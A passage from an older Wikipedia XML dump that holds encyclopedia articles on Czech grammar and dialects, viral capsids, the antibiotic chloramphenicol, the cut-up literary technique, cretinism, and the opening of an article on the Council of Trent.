The [[phonology]] of Czech may also be very difficult for speakers of other languages. For example, some words do not appear to have [[vowel]]s: ''zmrzl'' (froze to death), ''ztvrdl'' (hardened), ''scvrkl'' (shrunk), ''čtvrthrst'' (quarter-handful), ''blb'' (fool), ''vlk'' (wolf), and ''smrt'' (death). A popular example of this is the phrase &quot;''strč prst skrz krk''&quot; meaning &quot;stick a finger through your throat&quot;. The [[consonant|consonants]] ''l'' and ''r'', however, function as [[sonorant]]s and thus fulfill the role of a vowel (a similar phenomenon also occurs in American English, for example ''bird'' is pronounced as [brd] with a syllabic r). It also features the consonant ''ř'', a [[phoneme]] that is said to be unique to Czech and quite difficult for foreigners to pronounce. To a foreign ear, it sounds very similar to ''zh'', though a better approximation could be rolled (trilled) ''r'' combined with ''zh'', which was incidentally sometimes used as an [[orthography]] for this sound (rž) for example in the royal charter of [[Rudolf II, Holy Roman Emperor]] from [[1609]].

==Morphology==

===Parts of speech===
&lt;!-- give an English translation of each of these --&gt;

*[[Noun]] (''podstatné jméno'')
*[[Adjective]] (''přídavné jméno'')
*[[Pronoun]] (''zájmeno'')
*[[Numeral]] (''číslovka'')
*[[Verb]] (''sloveso'')
*[[Adverb]] (''příslovce'')
*[[Preposition]] (''předložka'')
*[[Grammatical conjunction|Conjunction]] (''spojka'')
*[[Grammatical particle|Particle]] (''částice'')
*[[Interjection]] (''citoslovce'')

Nouns, adjectives, pronouns and numbers are declined (7 cases over a number of declension models) and verbs are conjugated; the other parts of speech are not inflected (with the exception of comparative formation in adverbs).

===Dialects===

In the Czech Republic three distinct [[koine]], or interdialects can be found, all corresponding more or less to geographic areas within the country. They differ from standard Czech, creating some form of [[diglossia]]. The first, and most widely used, is &quot;Common Czech&quot;, spoken in [[Bohemia]]. It has some grammatical differences from &quot;standard&quot; Czech, along with some differences in pronunciation.  The most common pronunciation changes include ''-ý'' becoming ''-ej'' in some circumstances, ''-é'' becoming ''-ý-'' in some circumstances (''-ej-'' in others), and the insertion of prothetic ''v-'' at the beginning of some words starting with ''o-''.  Also, noun declension is changed, most notably the instrumental case.  Instead of having various endings (depending on gender) in the instrumental, Bohemians will just put ''-ama'' or ''-ma'' at the end of all plural instrumental declensions. Also pronunciation changes slightly, as the Bohemians tend to have more open vowels than Moravians. This is said to be especially prevalent among people from Prague.

The second major interdialect is spoken in [[Moravia]]. This dialect has some totally different words from standard Czech. Unlike in Bohemia, Moravia tends to have more local dialects varying from town to town. For example in Brno, ''tramvaj'' (streetcar or tram) is ''šalina'' (originating from German &quot;ElektriSCHELINIE&quot;). Everyday spoken form in Moravia would be a mixture of given interdialect, remnants of old local dialect, some Standard Czech forms and sometimes also Common Czech. The use of Standard Czech in everyday situations is more frequent than in Bohemia and Moravians tend to say that they use &quot;proper&quot; language, unlike their Bohemian brothers.

The third major dialect - [[Teshen Silesian dialect|Teshen Silesian]] - is spoken in [[Silesia]], centered around the city [[Ostrava]].  This dialect, too, is grammatically sound and closer to Standard Czech, but in this dialect people speak very quickly, and the long vowels become the same as their short counterparts.

===Declension===
&lt;!-- give the number of declensions and tables of all their affixes/mutations/whatever (or just some example ones if they are very numerous)  or put the tables in a Czech grammar article if you want to start one or if one already has been started)--&gt;

The noun cases are typically referred to by number, and learned by means of the question to which they are the answer.  When learning a new word, children recite the cases using a set of example phrases, shown as follows:
# ''kdo/co?'' (who/what?) - [[Nominative]]
# ''bez koho/čeho?'' (without whom/what?) - [[Genitive]]
# ''komu/čemu?'' (to whom/what?) - [[Dative]]
# ''vidím koho/co?'' (I see whom/what?) - [[Accusative case|Accusative]]
# ''volám'' (I call) [[Vocative]]
# ''o kom/čem?'' (about whom/what?) - [[Locative]] (also known as Prepositional)
# ''s kým/čím?'' (with whom/what?) - [[Instrumental case|Instrumental]]

The case used depends on a number of variables, and for foreigners can be very confusing.

The simplest of the rules governing noun declension is the use of [[prepositions]] (''předložky'').  Excepting expressions and common phrases, each preposition is matched with a certain noun declension case depending on use.  The following are basic examples of common prepositions and their corresponding noun cases (note: these examples represent only one circumstance.  Often each preposition can be used with two or more noun cases depending on the sentence).

Genitive: ''během'' (during), ''podle/dle'' (according to/along), ''vedle'' (beside), ''kolem'' (around), ''okolo'' (around), ''do'' (into), ''od'' (away from), ''z'' (out of), ''bez'' (without).

Dative: ''k'' (towards), ''proti'' (against), ''díky'' (thanks to), &quot;naproti&quot; (opposite).

Accusative: ''skrz'' (through), ''pro'' (for) &quot;na&quot; (to/for).

Locative/Prepositional: ''o'' (around, about), ''na'' (on), ''při'' (into, in, around), ''v'' (in), ''po'' (after, around).

Instrumental: ''za'' (behind), ''před'' (in front of), ''mezi'' (between), ''pod'' (below), ''s'' (with) &quot;nad&quot; (above).

Many of the above prepositions are used in different circumstances.  For instance, when motion or a change of position is expressed, prepositions like ''nad, mezi, na, pod'', etc. are used with the accusative case.  

The second factor affecting noun declension is the verb used.  In Czech grammar, the Accusative case serves as the direct object, and the Dative case serves as the indirect object.  Some verbs require the Genitive case to be used.  For example the verb to ask &quot;zeptat se&quot; requires that the person being asked the question be in the genitive case (Zeptat se koho/čeho), and that the thing being asked about follow the preposition &quot;na&quot; and be in the accusative case (Zeptat se koho/čeho na koho/co).

The third factor affecting noun declension is number.  The Czech language has a very complex counting system, explained as follows with the example masculine animate noun ''muž'' (man):

For the number one, the singular number is of course used: ''jeden muž''.

For the numbers 2, 3, and 4, any case may be used, depending on the function of the noun in the sentence: ''dva muži'' (nominative).  &quot;Vidím dva muže&quot; (accusative). 

For all numbers from 5 to infinity, the genitive plural is used when the noun would normally be in the nominative, accusative or vocative case: ''pět mužů''.  &quot;Pět mužů je tam.&quot;  Five men are over there.  &quot;Vidím pět mužů.&quot;  I see five men.  For other cases, however, the noun is not placed in the genitive. &quot;Nad pěti muži.&quot;  Above the five men (instrumental). 

Numbers also have declension patterns in Czech.  The number two, for instance, declines as follows:
Dva/dvě: nominative
Dvou: genitive
Dvěma: dative
Dva/dvě: accusative
(o) dvou: locative
Dvěma: instrumental

The numbers are singular (''jednotné číslo''), plural (''množné číslo''), and remains of [[dual (grammatical number)|dual]].  The dual number is used for only several parts of the human body, of which each person has two: hands, shoulders, eyes, ears, knees, legs, breasts.  In all but two of the above body parts (eyes and ears) the dual number is only vestigial and affects very few aspects of declension (mostly the genitive and prepositional cases).

The [[grammatical gender|genders]] are masculine animate, masculine inanimate, feminine, and neuter.  Masculine animate is used only to describe living things (note: plants are not considered animate in Czech noun declension!).  Strangely enough, there are hundreds of words for living things that are not masculine words (for example ''morče'' is a neuter word, and means &quot;guinea-pig&quot;).

===Software===
Coding of Czech letters with diacritical marks (especially those with a ''[[háček]]'', e.g., č, ě, š, ř, and ž) is not uniform and sometimes causes incorrect display and printing of texts. The following sentence is commonly used to test all special characters: '''Příliš žluťoučký kůň úpěl ďábelské ódy''' (&quot;a too yellow horse moaned devilish odes&quot;; needs to be tested with lower- and uppercase).

===See also:===
[[Czech alphabet]], [[hacek|háček]]

== External links ==
{{InterWiki|code=cs}}
===Dictionaries===
* [http://www.wordbook.cz Online dictionary]
* [http://www.slovnik.cz Multilingual Dictionary]
* [http://www.websters-online-dictionary.org/definition/Czech-english/ Czech – English Dictionary]: from [http://www.websters-online-dictionary.org Webster's Online Dictionary] – the Rosetta Edition.

===Other===
*''UniLang Wiki'':
**[http://home.unilang.org/main/wiki2/index.php/Czech_pronunciation Czech pronunciation]
**[http://home.unilang.org/main/wiki2/index.php/Czech_basic_phrases Czech basic phrases]
**[http://home.unilang.org/main/wiki2/index.php/Czech_months Czech months]
**[http://home.unilang.org/main/wiki2/index.php/Czech_days Czech days]
*[http://forum.wordreference.com/forumdisplay.php?f=44 WordReference - a moderated forum of Slavic languages]
* [http://www.omniglot.com/writing/czech.htm Omniglot page for Czech]: Contains pronunciation and history
* [http://www.bohemica.com Bohemica.com]: Language and culture resource; including
** [http://www.bohemica.com/czechonline/reference/referencetop.htm Yellow Pages of The Czech Language]
* [http://www.czech-language.cz Overview of the Czech language]
* [http://www.locallingo.com LocalLingo.com]: Another useful portal with clear audio
* [http://www.ling.ohio-state.edu/~hana/Czech.html Czech for Linguists]
* [http://diacritics.typo.cz Diacritics Project – All you need to design a font with correct accents]
* [http://www.bbc.co.uk/languages/european_languages/languages/czech.shtml Czech language at BBC]
* [http://czech.typeit.org Type any text with Czech characters] - an online editor

{{Official EU languages}}

[[Category:Languages of the Czech Republic]]
[[Category:West Slavic languages]]

[[af:Tsjeggies]]
[[ar:تشيكية (لغة)]]
[[ast:Checu]]
[[id:Bahasa Ceko]]
[[ca:Txec]]
[[cs:Čeština]]
[[da:Tjekkisk (sprog)]]
[[de:Tschechische Sprache]]
[[el:Τσεχική γλώσσα]]
[[es:Idioma checo]]
[[eo:Ĉeĥa lingvo]]
[[fr:Tchèque]]
[[gl:Lingua checa]]
[[ko:체코어]]
[[hy:Չեխերեն]]
[[hr:Češki jezik]]
[[io:Cheka linguo]]
[[is:Tékkneska]]
[[it:Lingua ceca]]
[[he:צ'כית]]
[[ka:ჩეხური ენა]]
[[kw:Chekek]]
[[la:Lingua Cecha]]
[[lv:Čehu valoda]]
[[lt:Čekų kalba]]
[[li:Tsjechisch]]
[[hu:Cseh nyelv]]
[[nl:Tsjechisch]]
[[ja:チェコ語]]
[[nn:Tsjekkisk språk]]
[[oc:Chèc]]
[[pl:Język czeski]]
[[pt:Língua tcheca]]
[[ro:Limba cehă]]
[[ru:Чешский язык]]
[[se:Čeahkagiella]]
[[sk:Čeština]]
[[sl:Češčina]]
[[sr:Чешки језик]]
[[fi:Tšekin kieli]]
[[sv:Tjeckiska]]
[[tr:Çekçe]]
[[wa:Tcheke]]
[[zh:捷克语]]</text>
    </revision>
  </page>
  <page>
    <title>Capsid</title>
    <id>6344</id>
    <revision>
      <id>40361975</id>
      <timestamp>2006-02-20T01:39:00Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The outer shell of a [[virus (biology)|virus]] is called the '''capsid'''. It consists of several monomeric subunits made of [[protein]]. The capsid serves three main purposes :

* It protects the [[genetic material]] of the virus.
* It determines if a [[cell (biology)|cell]] is suitable for [[infection]].
* It starts the actual infection by attaching and &quot;opening&quot; the target cell and injecting the genetic material of the virus into the cell.

Once the virus has infected the cell, it will sooner or later start replicating itself, using the &quot;infrastructure&quot; of the infected cell. During this process, the capsid subunits are synthesized according to the genetic material of the virus, using the [[protein biosynthesis]] mechanism of the cell. Some viruses will also take a portion of the host cell's [[cell membrane]] with them when they depart, enclosing the proteinaceous capsid with viral proteins projecting through it.

The majority of viruses come in three different structures; [[helical]] capsids, [[icosahedral]] (isometric) capsids, or enveloped. In helical symmetry, the protein subunits are arranged around the [[circumference]] of a circle to form a disk. In icosahedral symmetry, the subunits form a quasi-spherical structure. In enveloped viruses, the protein subunits are exposed to the external environment.

==External links==
[http://www.virology.net/garryfavweb.html] from the ''All the virology on the www'' website.

[[Category:Virology]]

[[ca:Càpsida]]
[[de:Kapsid]]
[[es:Cápside vírica]]
[[fr:Capside]]
[[nl:eiwitmantel]]
[[pl:Kapsyd]]</text>
    </revision>
  </page>
  <page>
    <title>Central Dogma Of Genetics</title>
    <id>6345</id>
    <revision>
      <id>15904495</id>
      <timestamp>2003-10-13T10:03:14Z</timestamp>
      <contributor>
        <username>Lexor</username>
        <id>5364</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Central dogma of molecular biology]]</comment>
      <text xml:space="preserve">#REDIRECT [[Central dogma of molecular biology]]</text>
    </revision>
  </page>
  <page>
    <title>Chloramphenicol</title>
    <id>6346</id>
    <revision>
      <id>39335699</id>
      <timestamp>2006-02-12T12:41:48Z</timestamp>
      <contributor>
        <username>Japanese Searobin</username>
        <id>153340</id>
      </contributor>
      <minor />
      <comment>+ja:</comment>
      <text xml:space="preserve">{{Drugbox|
|IUPAC_name = 
| image=chloramphenicol.png
| CAS_number=56-75-7
| ATC_prefix=D06
| ATC_suffix=AX02
| PubChem=298
| DrugBank=EXPT00942 
| chemical_formula = C&lt;sub&gt;11&lt;/sub&gt;H&lt;sub&gt;12&lt;/sub&gt;N&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;5&lt;/sub&gt;Cl&lt;sub&gt;2&lt;/sub&gt; 
| molecular_weight = 323.132 
| bioavailability= ?
| metabolism = ?
| elimination_half-life=?
| excretion =  ?
| pregnancy_category = C (A topical)
| legal_status = POM
| routes_of_administration= IV, O, topical
}}
'''Chloramphenicol''' (or '''2,2-dichlor-N-[(aR,bR)-b-hydroxy-a-hydroxymethyl-4-nitrophenethyl]acetamide''') is an [[antibiotic]] that was derived from the [[bacterium]] ''[[Streptomyces venezuelae]]'' and is now produced synthetically. Chloramphenicol is effective against a wide variety of microorganisms, but due to serious side-effects (e.g., damage to the [[bone marrow]], including [[aplastic anemia]]) in humans, it is usually reserved for the treatment of serious and life-threatening [[infection]]s (e.g., [[typhoid fever]]).
  
Regardless of serious side-effects, the WHO advocates its use in many third world countries for pediatric treatment in the absence of cheaper alternatives.  It is used in treatment of [[cholera]], as it destroys the [[vibrio]]s and decreases the [[diarrhea]]. It is effective against [[tetracycline]]-resistant [[vibrio]]s.

It is also used in [[eye drop]]s or [[ointment]], commonly sold under the name of Chlorsig, to treat bacterial [[conjunctivitis]]. 
 
== Mechanism and Resistance ==
Chloramphenicol stops bacterial growth by binding to the bacterial [[ribosome]] (blocking peptidyl transferase) and inhibiting [[Translation (genetics)|protein synthesis]]. 

Resistance to chloramphenicol is conferred by the ''cat''-gene. This [[gene]] codes for an [[enzyme]] called &quot;[[chloramphenicol acetyltransferase]]&quot; which inactivates chloramphenicol by covalently linking one or two [[acetyl]] groups, derived from acetyl-S-coenzyme A, to the [[hydroxyl]] groups on the chloramphenicol. The acetylation prevents chloramphenicol from binding to the ribosome. 
 
==Codes==
It has many different codings in the [[Anatomical Therapeutic Chemical Classification System]]:
* {{ATC|D06|AX02}}
* {{ATC|D10|AF03}}
* {{ATC|G01|AA05}}
* {{ATC|J01|BA01}}
* {{ATC|S01|AA01}}
* {{ATC|S02|AA01}}
* {{ATC|S03|AA08}}

==External links==
* [http://www.merck.com/mrkshared/mmanual/section13/chapter153/153f.jsp Merck]
* [http://www.nlm.nih.gov/medlineplus/druginfo/uspdi/202125.html NLM/Medline]
* [http://www.uphs.upenn.edu/bugdrug/antibiotic_manual/chloro.htm University of Pennsylvania]

[[Category:Antibiotics]]

[[de:Chloramphenicol]]
[[es:Cloranfenicol]]
[[fr:Chloramphénicol]]
[[it:Cloramfenicolo]]
[[ja:クロラムフェニコール]]
[[nl:Chlooramfenicol]]
[[pl:Chloramfenikol]]
[[pt:Cloranfenicol]]
[[th:คลอแรมเฟนิคอล]]
[[tr:Kloramfenikol]]</text>
    </revision>
  </page>
  <page>
    <title>Cut-up technique</title>
    <id>6347</id>
    <revision>
      <id>39424048</id>
      <timestamp>2006-02-13T01:22:16Z</timestamp>
      <contributor>
        <ip>154.20.112.133</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">The '''cut-up technique''' is a [[aleatory]] [[literary technique]] or [[literary genre|genre]] in which a [[text]] is cut up at [[random]] and rearranged to create a new text.

==Technique==
The '''cut-up''' and the closely associated '''fold-in''' techniques are literary writing styles that tries to break the [[linearity]] of common literature. They are designed to be used with common [[typewriter]]s.

*''Cut-up'' is performed by taking a finished and fully linear text (printed on paper) and cutting it in pieces with a few or single words on each piece. The resulting pieces are then rearranged into a new text. The rearranging work often result in surprisingly innovative new phrases. A common way is to cut a sheet in four rectangular sections, rearranging them and then typing down the mingled prose while compensating for the haphazard word breaks by improvising and innovating along the way.
*''Fold-in'' is the technique of taking two different sheets of linear text (with the same linespacing), cutting each sheet in half and combining with the other, then reading across the resulting page. The resulting text is often a blend of the two themes, somewhat hard to read.

==History==
The first recorded instance of a cut-up dates from a [[Dada]] rally in the [[1920s]]: [[Tristan Tzara]] offered to create a [[poem]] on the spot by pulling words at [[random]] from a hat. A riot ensued and [[André Breton]] expelled Tzara from the movement. 

In the [[1950s]] painter and writer [[Brion Gysin]] more fully developed the cut-up method after accidentally discovering it. He had placed layers of [[newspaper]]s as a matt to protect a tabletop from being scratched while he cut papers with a [[razor blade]]. Upon cutting through the newspapers, Gysin noticed that the sliced layers offered interesting [[juxtaposition]]s. He began deliberately cutting newspaper articles into sections, which he randomly rearranged. ''[[Minutes to Go]]'' resulted from his initial cut-up experiment: unedited and unchanged cut-ups which emerged as coherent and meaningful prose.

Gysin introduced writer [[William S. Burroughs]] to the technique at the [[Beat Hotel]]. The pair later applied the technique to printed media and [[audio recording]]s in an effort to decode the material's implicit content, [[Hypothesis|hypothesizing]] that such a technique could be used to discover the true meaning of a given [[text]].  Burroughs also suggested cut-ups may be effective as a form of [[divination]] saying, ''Perhaps events are pre-written and pre-recorded and when you cut word lines the future leaks out.'' Burroughs further developed the ''fold-in'' technique.

Burroughs has cited earlier works as proto-cut-ups: [[T.S. Eliot]]'s long poem, ''[[The Waste Land]]'', and portions of [[John Dos Passos]]' works.

==Literary influence==
[[William S. Burroughs|Burroughs]] taught cut-up technique to [[Genesis P-Orridge]] in [[1971]] as a method for &amp;quot;altering reality&amp;quot;. Burroughs' explanation was that everything is recorded, and if it is recorded, then it can be edited (P-Orridge, [[2003]]). P-Orridge has long employed cut-ups as an applied [[philosophy]], a way of creating [[art]] and [[music]], and of conducting one's life.

==Musical influence and similarities==
From at least the early [[1970s]], [[David Bowie]] has used cut-ups to create some of his [[lyric]]s. It is a technique which came to influence [[Kurt Cobain]]'s songwriting.

Other musicians working in [[sampling (music)|sample]]-based [[music genre]]s, such as [[hip hop music|hip hop]] and [[electronic music]], employ a similar technique. [[Disc jockey|DJs]] may spend hours in record stores looking (&amp;quot;digging&amp;quot;) for [[Vinyl record|LP records]] featuring obscure or interesting [[breaks]], vocals, and other fragments to meld together in new compositions. Some have suggested these practices are a form of cut-ups, but most such musicians are probably unaware of Tzara, Burroughs or Gysin ([[DJ Spooky]] being an exception). [[Musique concrète]] had introduced such techniques &amp;mdash; cutting, re-arranging and re-editing sounds &amp;mdash; much earlier in a musical (as opposed to literary) context.

[[Jeff Noon]] uses a similar ''remixing'' technique in his writing based on the practices prevalent in [[Dub music]].  He expanded upon his remixing with his [[Cobralingus]] system, which breaks down a piece of writing, going as far as turning individual words into anagrams, then melding the results into a narrative.

And to return to Tzara's Dadaist example, [[Thom Yorke]] applied a similar method in [[Radiohead]]'s ''[[Kid A]]'' (2000) album, writing single lines, putting them into a hat, and drawing them out at random while the band rehearsed the songs.

An online subculture of [[bastard pop]] resembles the fold-in technique by for example taking instrumentals from one artist and combining it with the vocals of another artist.

==Email cut-ups==
A recent phenomenon is an [[e-mail spam]] tactic in which randomly-generated text passages are used to thwart [[Bayesian filtering|Bayesian filters]]. For example,

:''The first question of course was, how to get dry again:  they me as I walked, the remembrance of my churlishness and that I must confidence between himself and Mrs. Micawber.  After which, he for his dagger till his hand gripped it. Then he spoke. I kissed her, and my baby brother, and was very sorry then; but not''

Even grammatically consistent sentences can be formed, such as

:''Then, from sea to shining sea, the God-King sang the praises of teflon, and with his face to the sunshine, he churned lots of butter.''

Such text is called spamoetry (spam poetry) or [[spam art]].  Since the text is often derived from actual books, this is effectively a cut-up method (though the perpetrators may be unaware of this).

==References==
*[[Genesis P-Orridge|P-Orridge, Genesis]]. &amp;quot;Magick Squares and Future Beats.&amp;quot; ''Book of Lies: The Disinformation Guide to Magick and the Occult''. [[Disinfo|The Disinformation Company]], [[2003]]: 103-118 ISBN 0-9713942-7-X
*[http://www.gorgeaway.blogspot.com/ Conversations with William S. Burroughs] - Interviews from various publications assembled in a [[weblog]]

==See also== 
*[[Industrial Records]]
*[[Markov chain]]
*[[Plunderphonics]]
*[[Surrealist techniques]]
*[[Bastard pop]]

==External links==
*General Information
**[http://www.fluctuation.co.uk/articles/01poetry.html Fluctuation] An example of the cut-up technique applied to the creation of poetry.
**[http://www.ubu.com/sound/burroughs.html UbuWeb: William S. Burroughs] featuring a cut-up, ''K-9 Was in Combat with the Alien Mind-Screens'' ([[1965]]), made with [[Ian Sommerville]]
*Online Cut-Up Tools
**[http://www.lazaruscorporation.co.uk/v4/cutup Lazarus Corporation Text Mixing Desk] is online software that manipulates text using the cut-up technique.
**[http://www.godsrudewireless.co.uk/cutup/cutup.htm God's Rude Wireless] hosts a simple, [[JavaScript]]-based cut-up engine, as well as some other language manipulation tools.
**[http://openwound.mbutler.org/ Open Wound 1.0] utilizing grammatical parts of speech
**[http://cutnmix.com/ Cut 'n' Mix 4.0] 4-track text cut-up and mixing software
**[http://web.ukonline.co.uk/gary.leeming/burroughs/cutup_machine.htm Grazulis' Cut-Up Machine] (choose specified or random increments of words to cut, rub out words)
**[http://www.languageisavirus.com/ Language Is A Virus] Cut-Up Machine, Slice-n-Dice, Cut-Up techniques explained
**[http://www.aduaneirossemfronteiras.org/blog.php?id=70 Gerador Automático de Poesia Galega] - a [[Galician language|Galician]] cut-up poetry generator

[[Category:Surrealist techniques]]
[[Category:Dada]]
[[Category:William S. Burroughs]]
[[Category:Literary concepts]]

[[de:Cut-up]]</text>
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    <title>Congressional Medal of Honour</title>
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  <page>
    <title>Cretinism</title>
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      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Congenital iodine-deficiency syndrome |
  ICD10       = E00 |
  ICD9        = {{ICD9|243}} |
}}
'''Cretinism''' (most likely from the [[Latin]] ''Christiānum'', &quot;[[Christian]]&quot;) is a condition of severely stunted physical and mental growth due to untreated [[congenital disorder|congenital]] deficiency of [[thyroid]] [[hormone]]s ([[hypothyroidism]]). The term ''cretin'' refers to a person so affected.

==Etymolology and usage of the term==
The term ''cretin'' was brought into medical use in the 18th century from an Alpine French dialect where persons with such a condition were especially common (though the cause was unknown). It was used widely as a medical term in the 19th and early 20th centuries, but in recent decades has spread more widely in popular English as a markedly derogatory term for a hopelessly stupid person. Because of its pejorative connotations in popular speech, the term has been largely abandoned by physicians.  A cretin of the [[Pyrenees]] was called a ''cagot'' (kag'&amp;#333;).  

The etymology of the word ''cretin'' is not known with certainty. Several hypotheses have been proposed. The most common derivation provided in English dictionaries is from the Latin ''Christiānum'' (Christian), via a medieval French dialect (compare modern French ''chretien''). The connecting meaning between &quot;Christian&quot; and &quot;cretin&quot; is not obvious. According to the [[Oxford English Dictionary]], the translation of the Latin term into &quot;human creature&quot; implies that the label &quot;Christian&quot; is a reminder of the humanity of the afflicted, in contrast to brute beasts {{ref label|OED|1|a}}. Other sources have suggested &quot;Christian&quot; refers to the inability to sin of such a person who lacks the capacity to distinguish right from wrong {{ref label|Atlantic|2|a}}.

Other speculative etymologies have been offered:
#From ''creta'', Latin for ''chalk'', because of the pallor of those affected.
#From ''cretira'', Grisson-Romance ''creature'', from Latin ''creatus''.
#From ''cretine'', French for ''alluvium'' (soil deposited by flowing water), an allusion to the suspected origin from inadequate soil.
#:&lt;small&gt;&lt;span id=&quot;ref_Medvei&quot;&gt;Source: VC Medvei. ''The History of Clinical Endocrinology''. Pearl River, New York: Parthenon Publishing Group. 1993.&lt;/span&gt;&lt;/small&gt;

==Cretinism due to congenital hypothyroidism==
[[Congenital hypothyroidism]] can be endemic, genetic, or sporadic. If untreated, it results in mild to severe impairment of both physical and mental [[growth]] and development.

Poor length growth is apparent as early as the first year of life. Adult stature without treatment ranges from 1 to 1.6 meters, depending on severity, sex and other genetic factors. [[Bone maturation]] and [[puberty]] are severely delayed. [[Ovulation]] is impeded and [[infertility]] common.

Neurological impairment may be mild, with reduced muscle tone and coordination, or so severe that the person cannot stand or walk. Cognitive impairment may also range from mild to so severe that the person is nonverbal and dependent on others for basic care. Thought and reflexes are slower.

Other signs may include thickened skin and a protruding abdomen. 

Sporadic and genetic cretinism results from abnormal development or function of the fetal thyroid gland. This type of cretinism has been almost completely eliminated in developed countries by early diagnosis by [[newborn screening]] programs followed by lifelong treatment with [[thyroxine]].

Endemic cretinism arises from a diet deficient in [[iodine]] and has affected far more people worldwide and continues to be a major [[public health]] problem in many countries. Iodine is an essential trace element, necessary primarily for the synthesis of thyroid hormones. Although it is found in many foods it is not universally present in all soils in adequate amounts. The soils of many inland areas on all continents are iodine deficient, and plants and animals grown there are correspondingly deficient. Populations living in those areas without outside food sources are most at risk for [[iodine deficiency]] diseases.

Iodine deficiency results in the impairments of varying degrees of physical and mental development. It also causes gradual enlargement of the thyroid gland, referred to as a [[goiter]]. It is being combatted in many countries by public health campaigns of iodine administration.

==History==
Endemic cretinism was especially common in areas of southern Europe around the Alps and was described by Roman writers, and often depicted by medieval artists. Alpine cretinism was described from a medical perspective by several travellers and physicians in the late 18th and early 19th centuries. At that time the cause was not known and it was often attributed to &quot;stagnant air&quot; in mountain valleys or &quot;bad water&quot;. The proportion of people affected varied markedly throughout southern Europe and even within very small areas it might be common in one valley and not another. The number of severely affected persons was always a minority and most persons affected by cretinism to the extent of having a goiter and some degree of reduced cognition and growth were still socially functional in their pastoral villages.

More mildly affected areas of Europe and North America in the 19th century were referred to as &quot;goiter belts&quot;. The degree of iodine deficiency was milder and manifested primarily as thyroid enlargement rather than severe mental and physical impairment. In Switzerland for example where soil is poor with iodine the cases of cretinism were very abundant and even were considered as genetically caused. As the variety of food sources dramatically increased in Europe and North America and the populations became less completely dependent on locally grown food, the prevalence of endemic goiter diminished.

In the early 20th century the relationships of sporadic cretinism with congenital hypothyroidism, and endemic cretinism with hypothyroidism due to iodine deficiency were discovered and both have been largely eliminated in the developed world.

== Parliamentary cretinism ==
The term '''parliamentary cretinism''' was introduced by [[Marx]]. According to Marx, parliamentary cretinism &quot;confines its victims to an imaginary world and robs them of their senses, their recollection, all knowledge of the rude external world.&quot; 

==See also==
*[[Congenital hypothyroidism]]
*[[Iodine deficiency]]

==References==
#{{note label|OED|1|a}} {{cite web
 | url = http://dictionary.oed.com/cgi/entry/50053852
 | title = &quot;cretin&quot;
 | work = Oxford English Dictionary
 | accessdate = 2005-12-11
 }}
#{{note label|Atlantic|2|a}} {{cite web
 | last = Brockett
 | first = Linus P
 | url = http://www.disabilitymuseum.org/lib/docs/1385.htm
 | title = Cretins And Idiots
 | work = [[The Atlantic Monthly]]
 | year = Feb 1858
 | accessdate = 2005-12-11
 }}
#{{note|Medvei|^}} {{cite book
 | first = VC
 | last = Medvei
 | title = The History of Clinical Endocrinology
 | location = Pearl River, New York
 | publisher = Parthenon Publishing Group
 | date = 1993
 }}

==External links==
*[http://www.iodinenetwork.net Network for Sustained Elimination of Iodine Deficiency]

[[Category:Pejorative terms for people]]
[[Category:Congenital disorders]]

[[de:Kretinismus]]
[[es:Cretinismo]]
[[fr:Crétinisme]]
[[pt:Cretinismo]]</text>
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    <title>Council of Trent</title>
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|-
| colspan=&quot;2&quot; bgcolor=&quot;orange&quot; style=&quot;font-size:120%&quot; align=&quot;center&quot;|'''''Council of Trent'''''
|-
|'''Date''' ||[[1545]]-[[1563]]
|-
|'''Accepted by''' ||[[Catholicism]]
|-
|'''Previous Council'''||[[Fifth Council of the Lateran]]
|-
|'''Next Council''' ||[[First Vatican Council]]
|-
|'''Convoked by'''||[[Pope Paul III]]
|-
|'''Presided by'''||[[Pope Paul III]], [[Pope Julius III]], [[Pope Pius IV]]
|-
|'''Attendance'''||about 255 in the last sessions
|-
|'''Topics of discussion'''||[[Protestantism]], [[Catholic Reformation]]
|-
|'''Documents and statements'''||sixteen dogmatic decrees, covering all aspects of Catholic religion
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Ecumenical council|chronological list of Ecumenical councils]]
|}
The '''Council of Trent''' is an [[ecumenical council]] recognized by the  [[Roman Catholic Church]] held from  [[December 13]], [[1545]], to [[December 4]], [[1563]]. It was held in the Italian city of [[Trento|Trent]].

It is considered one of the most important councils in the history of the Roman Catholic Church, establishing church doctrine in response to the [[Reformation]] and condemning [[Protestantism]]. It clearly specified Catholic doctrines on [[salvation]], the [[Catholic sacraments|sacrament]]s and the [[Biblical canon]], and standardized the [[Mass (liturgy)|Mass]] throughout the church, largely abolishing local variations. This became called the &quot;[[Tridentine Mass]]&quot;, from the city's [[Latin]] name ''Tridentum''.

==Occasion, sessions, and attendance==
In reply to the [[Papal bull]] ''[[Exsurge Domine]]'' of [[Pope Leo X]] (1520), [[Martin Luther]] had burned the document and appealed to a general council. In 1522, German diets joined in the appeal, and [[Charles V, Holy Roman Emperor|Charles V]] seconded and pressed it as a means of reunifying the Church and settling the controversy started by the [[Reformation]]. [[Pope Clement VII]] ([[1523]]-[[1534]]) was vehemently against the idea of a council,  agreeing with [[Francis I of France]]. After the deliverances of [[Pope Pius II]] in his bull ''Execrabilis'' (1460) and his reply to the University of Cologne (1463), setting aside the theory of the supremacy of general councils laid down by the  [[Council of Constance]], it was the papal policy to avoid councils. 

[[Pope Paul III]], seeing that the [[Protestant Reformation]] was no longer a few preachers, but that various princes had joined in the new ideas, desired a council, but when he proposed the idea to his cardinals, it was unanimously voted against. Nonetheless, he sent Nuncios throughout Europe to propose the idea. France and most of the German Protestants refused the invitation. Unable, however, to resist the urgency of Charles V, the pope, after proposing Mantua as the place of meeting, convened the council as exclusively Roman at Trent (at that time a free city of the  [[Holy Roman Empire]] under a prince-bishop), on Dec. 13, 1545; it was transferred to Bologna in Mar., 1547 from fear of the plague; indefinitely prorogued, Sept. 17, 1549; reopened at Trent, May 1, 1551, by  [[Pope Julius III]]; broken up by the sudden victory of Elector Maurice of Saxony over the Emperor Charles V., and his march into Tyrol, Apr. 28, 1552; and recalled by [[Pope Pius IV]] for the last time, Jan. 18, 1562, when it continued to its final adjournment, Dec. 4, 1563. It closed with &quot;[[Anathema]] to all heretics, anathema, anathema.&quot;  

